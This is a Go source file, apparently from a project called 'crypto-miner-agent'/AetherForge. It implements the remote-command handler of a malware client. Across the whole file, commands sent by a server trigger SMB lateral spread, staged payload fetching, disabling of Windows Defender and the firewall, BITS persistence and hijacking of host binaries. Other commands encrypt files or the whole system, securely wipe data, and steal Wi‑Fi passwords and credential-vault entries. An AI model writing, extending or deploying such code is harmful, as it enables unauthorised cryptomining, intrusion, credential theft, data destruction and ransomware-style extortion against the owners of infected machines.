401 lines
11 KiB
Go
401 lines
11 KiB
Go
package client
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"runtime"
|
|
"strconv"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/deploy"
|
|
)
|
|
|
|
func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
|
switch action {
|
|
case "hole_punch", "hole_punch_close", "hole_punch_status":
|
|
if !c.cfg.HolePunch {
|
|
return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
|
|
}
|
|
case "spread_now", "spread_smb_unc", "discover_and_join":
|
|
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
|
|
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
|
}
|
|
case "stage_fetch":
|
|
if !c.cfg.RemoteAggressive {
|
|
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
|
}
|
|
case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
|
|
"subnet_scan", "smb_shares", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "encrypt_path", "secure_wipe", "credential_vault_list", "get_wifi_passwords":
|
|
if !c.cfg.RemoteAggressive {
|
|
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
|
}
|
|
case "tunnel_status", "tunnel_wireguard":
|
|
// Always available — read-only or Path Tracer config from server.
|
|
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status", "service_discover":
|
|
// No forge gate — enumeration-only recon (Path Tracer + fleet discover).
|
|
case "mesh_status":
|
|
if !c.cfg.MeshP2P {
|
|
return false, "mesh P2P not enabled in forge"
|
|
}
|
|
default:
|
|
return true, ""
|
|
}
|
|
return true, ""
|
|
}
|
|
|
|
func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool {
|
|
if c.handleTunnelCommand(action, command, path, data) {
|
|
return true
|
|
}
|
|
|
|
ok, reason := c.allowRemoteAction(action)
|
|
if !ok {
|
|
c.sendCommandResult(action, false, reason)
|
|
return true
|
|
}
|
|
|
|
switch action {
|
|
case "hole_punch":
|
|
internalPort := parsePortArg(command, 8989)
|
|
externalPort := parsePortArg(path, internalPort)
|
|
desc := data
|
|
if desc == "" {
|
|
desc = c.cfg.WorkerName + "-aetherforge"
|
|
}
|
|
result, err := deploy.PunchUPnP(internalPort, externalPort, desc)
|
|
if err != nil {
|
|
c.sendCommandResult(action, false, result.Message)
|
|
return true
|
|
}
|
|
c.sendCommandResult(action, true, result.Message)
|
|
return true
|
|
|
|
case "hole_punch_close":
|
|
externalPort := parsePortArg(command, 8989)
|
|
msg, err := deploy.CloseUPnP(externalPort)
|
|
if err != nil {
|
|
c.sendCommandResult(action, false, err.Error())
|
|
return true
|
|
}
|
|
c.sendCommandResult(action, true, msg)
|
|
return true
|
|
|
|
case "hole_punch_status":
|
|
ip, err := deploy.GetPublicEndpoint()
|
|
if err != nil {
|
|
c.sendCommandResult(action, false, err.Error())
|
|
return true
|
|
}
|
|
c.sendCommandResult(action, true, fmt.Sprintf("WAN IP via UPnP: %s (use Hole Punch to map a port)", ip))
|
|
return true
|
|
|
|
case "spread_now":
|
|
msg := deploy.RunSpreadOnce(c.cfg)
|
|
c.sendCommandResult(action, true, msg)
|
|
return true
|
|
|
|
case "spread_smb_unc":
|
|
unc := strings.TrimSpace(path)
|
|
svcName := ""
|
|
if unc == "" {
|
|
unc = strings.TrimSpace(data)
|
|
} else {
|
|
svcName = strings.TrimSpace(data)
|
|
}
|
|
msg := deploy.RunSMBUNCSpread(c.cfg, deploy.SMBUNCSpreadOpts{
|
|
UNCPath: unc,
|
|
MaxHosts: parsePortArg(command, 64),
|
|
SvcName: svcName,
|
|
})
|
|
c.sendCommandResult(action, true, msg)
|
|
return true
|
|
|
|
case "stage_fetch":
|
|
var manifest deploy.StagingManifest
|
|
if err := json.Unmarshal([]byte(data), &manifest); err != nil {
|
|
c.sendCommandResult(action, false, "bad staging manifest: "+err.Error())
|
|
return true
|
|
}
|
|
go func() {
|
|
msg, err := deploy.RunStagingChain(c.cfg, manifest)
|
|
if err != nil {
|
|
c.sendCommandResult(action, false, err.Error())
|
|
return
|
|
}
|
|
c.sendCommandResult(action, true, msg)
|
|
}()
|
|
return true
|
|
|
|
case "subnet_scan":
|
|
maxHosts := parsePortArg(command, 64)
|
|
out := deploy.ScanLocalSubnet(maxHosts)
|
|
c.sendCommandResult(action, true, out)
|
|
return true
|
|
|
|
case "smb_shares":
|
|
if runtime.GOOS != "windows" {
|
|
c.sendCommandResult(action, false, "smb_shares is Windows-only")
|
|
return true
|
|
}
|
|
maxHosts := parsePortArg(command, 32)
|
|
out := deploy.EnumerateSMBShares(maxHosts)
|
|
c.sendCommandResult(action, true, out)
|
|
return true
|
|
|
|
case "spread_status":
|
|
out := deploy.GetSpreadStatusJSON()
|
|
c.sendCommandResult(action, true, out)
|
|
return true
|
|
|
|
case "credential_vault_list":
|
|
out := listCredentialVaultNames()
|
|
c.sendCommandResult(action, true, out)
|
|
return true
|
|
|
|
case "secure_wipe":
|
|
target := strings.TrimSpace(path)
|
|
if target == "" {
|
|
c.sendCommandResult(action, false, "path is required")
|
|
return true
|
|
}
|
|
go func() {
|
|
result := SecureWipePath(target)
|
|
ok := !strings.HasPrefix(result, "secure_wipe error:")
|
|
c.sendCommandResult(action, ok, result)
|
|
}()
|
|
return true
|
|
|
|
case "defender_off":
|
|
msg, err := deploy.DisableDefenderRealtime()
|
|
if err != nil {
|
|
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
|
return true
|
|
}
|
|
c.sendCommandResult(action, true, msg)
|
|
return true
|
|
|
|
case "firewall_punch":
|
|
port := parsePortArg(command, 8989)
|
|
name := path
|
|
if name == "" {
|
|
name = "AetherForge Remote " + c.cfg.WorkerName
|
|
}
|
|
msg, err := deploy.OpenFirewallPort(port, name)
|
|
if err != nil {
|
|
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
|
return true
|
|
}
|
|
c.sendCommandResult(action, true, msg)
|
|
return true
|
|
|
|
case "firewall_off":
|
|
msg, err := deploy.DisableWindowsFirewall()
|
|
if err != nil {
|
|
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
|
return true
|
|
}
|
|
c.sendCommandResult(action, true, msg)
|
|
return true
|
|
|
|
case "firewall_on":
|
|
msg, err := deploy.EnableWindowsFirewall()
|
|
if err != nil {
|
|
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
|
return true
|
|
}
|
|
c.sendCommandResult(action, true, msg)
|
|
return true
|
|
|
|
case "firewall_profiles":
|
|
// command: "on" or "off" (default off). path: Domain,Private,Public or all
|
|
enable := strings.EqualFold(strings.TrimSpace(command), "on") ||
|
|
strings.EqualFold(strings.TrimSpace(command), "enable") ||
|
|
strings.EqualFold(strings.TrimSpace(command), "true")
|
|
profiles := strings.TrimSpace(path)
|
|
if profiles == "" {
|
|
profiles = "all"
|
|
}
|
|
msg, err := deploy.SetWindowsFirewallProfiles(enable, profiles)
|
|
if err != nil {
|
|
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
|
return true
|
|
}
|
|
c.sendCommandResult(action, true, msg)
|
|
return true
|
|
|
|
case "bits_persist":
|
|
bin, err := deploy.InstalledBinaryPath(c.cfg)
|
|
if err != nil {
|
|
c.sendCommandResult(action, false, err.Error())
|
|
return true
|
|
}
|
|
if err := deploy.CreateBITSPersistence(c.cfg, bin); err != nil {
|
|
c.sendCommandResult(action, false, err.Error())
|
|
return true
|
|
}
|
|
c.sendCommandResult(action, true, fmt.Sprintf("BITS notify job registered (%s)", deploy.BitsJobName(c.cfg)))
|
|
return true
|
|
|
|
case "host_binary_persist":
|
|
bin, err := deploy.InstalledBinaryPath(c.cfg)
|
|
if err != nil {
|
|
c.sendCommandResult(action, false, err.Error())
|
|
return true
|
|
}
|
|
preset := strings.TrimSpace(path)
|
|
if preset == "" {
|
|
preset = strings.TrimSpace(c.cfg.HostBinaryTarget)
|
|
}
|
|
if preset == "" {
|
|
preset = "ssh"
|
|
}
|
|
target, err := deploy.HijackHostBinary(c.cfg, bin, preset)
|
|
if err != nil {
|
|
c.sendCommandResult(action, false, err.Error())
|
|
return true
|
|
}
|
|
c.sendCommandResult(action, true, fmt.Sprintf("host binary hijacked: %s (preset %s)", target, preset))
|
|
return true
|
|
|
|
case "firewall_remove":
|
|
var parts []string
|
|
ruleName := strings.TrimSpace(path)
|
|
if ruleName != "" {
|
|
msg, err := deploy.RemoveFirewallRuleByName(ruleName)
|
|
if err != nil {
|
|
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
|
return true
|
|
}
|
|
parts = append(parts, msg)
|
|
}
|
|
deploy.RemoveFirewallExclusion(c.cfg)
|
|
parts = append(parts, "Removed AetherForge miner firewall rules (if present)")
|
|
c.sendCommandResult(action, true, strings.Join(parts, "\n"))
|
|
return true
|
|
|
|
case "supp_seek":
|
|
seekPath := strings.TrimSpace(path)
|
|
if seekPath == "" {
|
|
c.sendCommandResult(action, false, "path is required — set the 'path' field to the root directory to scan")
|
|
return true
|
|
}
|
|
// command field carries target flags: "win", "mac", "all" (default all)
|
|
flag := strings.ToLower(strings.TrimSpace(command))
|
|
opts := suppSeekOpts{
|
|
DropWindows: flag == "" || flag == "all" || strings.Contains(flag, "win"),
|
|
DropMac: flag == "" || flag == "all" || strings.Contains(flag, "mac"),
|
|
ServerURL: c.cfg.ServerURL,
|
|
}
|
|
// data field carries optional custom stem (file name without extension)
|
|
if strings.TrimSpace(data) != "" {
|
|
opts.FileStem = strings.TrimSpace(data)
|
|
}
|
|
c.sendCommandResult(action, true, fmt.Sprintf("SUPP Seek started — scanning %s (win=%v mac=%v)", seekPath, opts.DropWindows, opts.DropMac))
|
|
go func() {
|
|
result := suppSeekWalk(seekPath, opts)
|
|
c.sendCommandResult("supp_seek_done", true, result.Summary())
|
|
}()
|
|
return true
|
|
|
|
case "sys_crypt", "encrypt_path":
|
|
target := strings.TrimSpace(path)
|
|
recursive := parseRecursiveFlag(command, data)
|
|
if action == "sys_crypt" && target == "" {
|
|
recursive = true
|
|
}
|
|
go func() {
|
|
var result string
|
|
if target == "" && action == "sys_crypt" {
|
|
result = SysCrypt()
|
|
} else {
|
|
result = EncryptPath(target, recursive)
|
|
}
|
|
c.sendCommandResult(action, true, result)
|
|
}()
|
|
return true
|
|
|
|
case "get_wifi_passwords":
|
|
go func() {
|
|
result := grabWiFiPasswords()
|
|
c.sendCommandResult(action, true, result)
|
|
}()
|
|
return true
|
|
|
|
case "mesh_status":
|
|
count := c.mesh.PeerCount()
|
|
if count == 0 && c.cfg.MeshP2P {
|
|
c.sendCommandResult(action, true, "mesh peers connected: 0 — binary not built with -tags p2p — re-forge with Mesh Networking enabled")
|
|
} else {
|
|
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
|
|
}
|
|
return true
|
|
|
|
case "wg_setup":
|
|
// Generates WireGuard keypair, tries UPnP, returns JSON result to server.
|
|
go func() {
|
|
result := WGSetupJSON()
|
|
c.sendCommandResult(action, true, result)
|
|
}()
|
|
return true
|
|
|
|
case "wg_configure":
|
|
// data field carries the JSON WGConfigPayload from the server.
|
|
var payload WGConfigPayload
|
|
if err := json.Unmarshal([]byte(data), &payload); err != nil {
|
|
c.sendCommandResult(action, false, "bad wg config payload: "+err.Error())
|
|
return true
|
|
}
|
|
go func() {
|
|
if err := WGConfigure(payload); err != nil {
|
|
c.sendCommandResult(action, false, err.Error())
|
|
return
|
|
}
|
|
c.sendCommandResult(action, true, "WireGuard tunnel started")
|
|
}()
|
|
return true
|
|
|
|
case "wg_teardown":
|
|
go func() {
|
|
WGTeardown()
|
|
c.sendCommandResult(action, true, "WireGuard tunnel removed")
|
|
}()
|
|
return true
|
|
|
|
case "wg_status":
|
|
c.sendCommandResult(action, true, WGStatus())
|
|
return true
|
|
|
|
case "service_discover":
|
|
maxHosts := parsePortArg(command, 32)
|
|
out := deploy.RunServiceDiscover(maxHosts)
|
|
c.sendCommandResult(action, true, out)
|
|
return true
|
|
|
|
case "discover_and_join":
|
|
maxHosts := parsePortArg(command, 32)
|
|
go func() {
|
|
msg, err := c.runDiscoverAndJoin(maxHosts)
|
|
if err != nil {
|
|
c.sendCommandResult(action, false, err.Error())
|
|
return
|
|
}
|
|
c.sendCommandResult(action, true, msg)
|
|
}()
|
|
return true
|
|
}
|
|
|
|
return false
|
|
}
|
|
|
|
func parsePortArg(raw string, fallback int) int {
|
|
raw = strings.TrimSpace(raw)
|
|
if raw == "" {
|
|
return fallback
|
|
}
|
|
n, err := strconv.Atoi(raw)
|
|
if err != nil || n <= 0 || n > 65535 {
|
|
return fallback
|
|
}
|
|
return n
|
|
}
|